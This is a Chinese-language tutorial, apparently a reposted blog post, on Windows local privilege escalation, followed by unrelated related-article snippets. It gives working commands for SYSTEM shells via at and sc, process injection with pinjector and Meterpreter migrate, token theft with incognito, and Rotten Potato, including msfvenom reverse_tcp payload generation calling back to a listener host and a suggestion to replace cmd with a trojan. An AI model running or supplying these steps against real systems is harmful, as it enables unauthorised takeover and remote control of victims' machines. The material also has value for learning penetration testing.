Windows本地提权 · 上篇

news/2024/11/29 9:54:50/

目录

at 命令提权

sc 命令提权

ps 命令提权

利用的是windows的特性,权限继承,命令或者服务创建调用的时候会以system权限调用,那么这个命令或者服务的权限也是system。

进程迁移注入提权

pinjector进程注入

MSF进程注入

令牌窃取提权

关于令牌

令牌窃取原理

令牌窃取

烂土豆提权


Windows本地提权,这种提权适用于有一本地个用户的基础上,有一定的权限,无法从webshell上进行提权

at 命令提权

它是低权限用户本地提权至高权限

原理:at命令是一个计划指令,可以在规定的时间完成一些操作,这个命令调用system权限。

          at 命令用于在指定时间执行一次性的任务。攻击者可以滥用 "at" 命令的特权执行功能,以在特权级别下运行恶意命令或脚本,从而实现权限提升。这种滥用可能会依赖于系统配置或权限配置的弱点。

当调用计划任务是以system权限运行的,就实现提权。

适合版本:win 2003 2000 xp 7 这些较老的版本

测试环境: win  2003

cmd输入以下指令

at 16:40 /interactive cmd #在生成system权限的cmd

之后会弹出一个cmd命令框,但是这个是system权限的

验证权限

sc 命令提权

sc是用于与服务控制管理器和服务进行通信的命令行程序。提供的功能类似于控制面板中管理工具项中的服务。

原理:sc 命令是 Windows 系统中的服务控制命令,用于创建、修改、启动、停止和删除系统服务。攻击者可以使用 "sc" 命令以高权限运行的方式创建一个恶意的服务,该服务可以在系统启动时以系统权限运行,从而实现权限提升。

适用版本:windows 7、8、03、08、12、16

当取得普通用户可以登录时可以使用此方法提权,本地用户提权

windows2003 成功,但是其他版本没有成功

测试环境:win 2003

执行以下命令:

#创建一个名叫syscmd的新的交互式的cmd执行服务
sc Create syscmd binPath= "cmd /K start" type= own type= interact
#运行服务
sc start syscmd

ps 命令提权

原理:ps 命令用于列出当前运行的进程信息。攻击者可以使用 "ps" 命令来获取有关进程的信息,以寻找潜在的目标或确定哪些进程具有较高的特权级别。但是,"ps" 命令本身并不直接提供权限提升功能。

工具下载地址:PsTools - Sysinternals | Microsoft Learn

pstools是微软官方自带的工具,可以用来帮助管理系统

当取得普通用户可以登录时可以使用此方法提权,本地用户提权

测试环境:win 2016

 在实际测试时,往往是一个命令行的窗口,我们可以直接把cmd换成我们的木马!

利用的是windows的特性,权限继承,命令或者服务创建调用的时候会以system权限调用,那么这个命令或者服务的权限也是system。

进程迁移注入提权

进程在运行时是有一个权限的

注入到其他以system运行的进程中,相当于在你这个进程的下面又开了一个新的线程,享有进程的权限

原理:

  1. 进程迁移(Process Migration):进程迁移是指将一个正在运行的进程从一个系统迁移到另一个系统的过程。攻击者可以通过某些手段获取到具有高权限的进程的句柄或进程ID。

  2. 进程注入(Process Injection):进程注入是指将恶意代码注入到目标进程的内存空间中,使其在目标进程的上下文中执行。攻击者可以使用进程迁移获得高权限进程的句柄或进程ID,并将恶意代码注入到该进程中。

  3. 提权(Privilege Escalation):一旦恶意代码成功注入到高权限进程中,攻击者可以利用该进程的特权执行操作,例如修改系统配置、访问受限资源等。

为什么无法卸载360?360是以system权限执行的,你的administrator权限无法干掉它。

当取得普通用户可以登录时可以使用此方法提权,本地用户提权

电脑上的进程:

pinjector进程注入

测试环境 win 2008

获取当前进程信息

pinjector -l

可以查看系统的进程和权限

指定PID位420的进程下开启一个新的线程执行cmd开启在3344端口

pinjector -p 420 cmd 3344

 监听端口

nc 127.0.0.1 3344

MSF进程注入

环境:win2016 administrator

进行进程注入时,当权限过低时是迁移失败的

#生成木马
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.85.129 LPORT=3333 -f exe -o msf.exe
开启监听
use multi/handler
set payload windows/windows/meterpreter/reverse_tcp
set lhost 0.0.0.0
set lport 3333
#进程注入
ps   //查看进程
migrate PID   //迁移对应PID,找是system的权限运行的进程

需要管理员才行,低权限用户几乎搞不了

内网中,管理员和system的权限差距很大的

这个是不会被杀的,因为它利用的是系统特性

令牌窃取提权

假冒令牌可以假冒一个网络中的另一个用户进行各类操作。

所以当一个攻击者需要域管理员的操作权限时候,需通过假冒域管理员的令牌进行攻击。

当前用户的权限也不能过低,过低是无法窃取令牌的

关于令牌

在Windows操作系统中,令牌(Token)是一种用于身份验证和授权的对象。它代表一个用户或进程的安全上下文,包含与该用户或进程相关联的安全标识符(SID)、权限和其他安全属性。

Windows系统的令牌可以分为用户令牌和进程令牌。

  1. 用户令牌(User Token):用户令牌代表一个登录的用户。它包含用户的安全标识符(SID)、用户组的安全标识符(Group SID)、用户权限以及其他与用户相关的安全属性。用户令牌是由Windows系统在用户登录时创建的,并在用户注销时销毁。

  2. 进程令牌(Process Token):进程令牌代表一个正在运行的进程。它继承自创建该进程的用户令牌,并包含了用户令牌的信息。进程令牌还可以附加其他权限和安全属性,以控制进程的行为和资源访问权限。

令牌在Windows系统中扮演着重要的角色,用于进行身份验证和授权。它被用于确定用户或进程对系统资源的访问权限,并且在安全上下文切换时起到关键作用。

需要注意的是,令牌并非用户或进程的实体,而是一种系统对象,用于表示用户或进程的身份和权限信息。令牌的创建、管理和使用是由操作系统内核和相关安全机制来处理的,开发者可以通过使用相应的API来访问和操作令牌。

令牌窃取原理

攻击者利用系统中一个高权限的进程(通常是系统进程或具有高权限的服务进程)的令牌来获取比其本身权限更高的权限。

通常情况下,每个进程都有自己的进程令牌,其中包含了该进程的安全上下文和权限。令牌用于验证进程对系统资源的访问权限。然而,某些进程可能具有特权级别较高的令牌,例如系统进程(System)或具有高权限的服务进程。

攻击者可以通过多种方式进行令牌窃取提权攻击,例如:

  1. 滥用漏洞:攻击者可以利用系统或应用程序中的漏洞,获取到高权限进程的句柄或内存地址,然后使用这些信息来窃取其令牌。

  2. 进程注入:攻击者可以通过将恶意代码注入到高权限进程中,使其在执行时将其令牌交给攻击者控制的低权限进程。

  3. 服务篡改:攻击者可以篡改一个已经具有高权限的服务,使其在执行时将其令牌传递给攻击者控制的低权限进程。

一旦攻击者成功获取了高权限进程的令牌,他们就可以使用这个令牌来执行高权限操作,例如访问受限资源、修改系统配置、执行恶意代码等。

令牌窃取

环境:Win2008 administator

当取得普通用户可以登录时可以使用此方法提权,本地用户提权

进行令牌窃取时,当权限过低时是窃取失败的,找不到system的令牌

#生成木马
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.85.129 LPORT=3333 -f exe -o msf.exe
#开启监听
use multi/handler
set payload windows/windows/meterpreter/reverse_tcp
set lhost 0.0.0.0
set lport 3333
#进行令牌窃取
use incognito
list_tokens -u           #列出有的令牌
impersonate_token "NT AUTHORITY\SYSTEM" #窃取system令牌

烂土豆提权

环境:win7+iis+asp iis低权限用户

这种利用需要上传烂土豆

#生成木马
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.85.129 LPORT=3333 -f exe -o msf.exe
#开启监听
use multi/handler
set payload windows/windows/meterpreter/reverse_tcp
set lhost 0.0.0.0
set lport 3333
#进行令牌窃取
execute -cH -f ./potato.exe //配合烂土豆
use incognito
list_tokens -u
impersonate_token "NT AUTHORITY\SYSTEM"

或使用msf对应的模块

#生成木马
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.85.129 LPORT=3333 -f exe -o msf.exe
#开启监听
use multi/handler
set payload windows/windows/meterpreter/reverse_tcp
set lhost 0.0.0.0
set lport 3333
#使用烂土豆
use exploit/windows/local/ms16_075_reflection-juicy
set session 1
set lhost 0.0.0.0
run

但是如果用户是本地非administrator用户,有这个漏洞也是利用失败的

需要是以下用户才可以成功提权

管理员(admininstrator)或者本地的服务账户

由服务控制管理器启动的服务

由组件对象模型 (COM) 基础结构启动的并配置为在特定帐户下运行的COM服务器

IIS与SqlServer用户


http://www.ppmy.cn/news/109664.html

相关文章

ENU、EPSG坐标系科普(三维重建)

ENU和EPSG实际上代表了两个不同的概念,这两者并不是直接对比的。 1. ENU坐标系:ENU坐标系是一种本地切面坐标系,用于表示与地理位置相关的空间数据。在ENU坐标系中,E代表东(East),N代表北&…

Xilinx IP核 Block Memory Generator v8.4 的使用

文章目录 背景IP核的使用初始化仿真 背景 如果想在 Xilinx 的FPGA上构建一个 RAM,通常有两种方式: 使用逻辑资源LUT组成DRAM,一般来说是用verilog声明一个多维数组即可使用开发板上内嵌专用的BRAM,一般来说需要使用Xilinx提供的…

SpringCloud Alibaba Seata 工作机制

SpringCloud Alibaba Seata Seata 工作机制 说明 之所以放在后面说工作机制是因为如果一开始就说的话理解困难 所以我们有了前面的列子和说明我们在结合本节内容会收获的多理解相对容易点 分布式事务过程分析 Seata 分布式事务处理过程-ID三组件模型 debug 梳理: 术语 先…

Windows的Powershell终端增强

Ubuntu上一直用的Oh My Zsh强化终端,体验非常nice。最近在Win上做东西比较多,于是也想把Powershell这个简陋的终端加强一下。 说干就干,网上查了一圈,发现大部分人用Oh My Posh来操作,因此试了一下,发现卡…

vulhub-Jarbas(易)

打靶练习Jarbas 0x00 部署0x01 信息收集:端口扫描、服务发现0x02 路径爬取0x03 反弹shell0x04 内网信息收集0x05 crontab定时任务提权0x06 总结 0x00 部署 靶机:下载地址 宿主机:kali2021版本 0x01 信息收集:端口扫描、服务发现…

sqlite3常用指令

SQLite 是一款轻量级的数据库,它的设计目标是嵌入式的,但它也可以在大型系统中使用。SQLite 提供了一系列的命令来帮助用户进行数据库操作。以下是 SQLite 的一些常用指令: 建立数据表 使用 CREATE TABLE 命令来创建一个新的数据表。 CREATE …

MVC 接收不到参数? —— 看我如何给你安排得明明白白

文章结构 问题背景:问题处理总结 问题背景: 现有如下代码: PostMapping(value "/payment/create") ResponseBody public CommonResult create(Payment payment) {}乍眼看去是不是很好,至少没啥问题很自然&#xff0c…

何时加索引,性别字段和逻辑删除字段应不应该加

首先哪些地方加索引(按照sql执行顺序写) 1、from表扫描连接处索引 2、where后条件去走索引 3、group by加索引 4、select查询不用加 5、order by排序加索引 (对于第四点,覆盖索引:查询的字段都被索引覆盖,…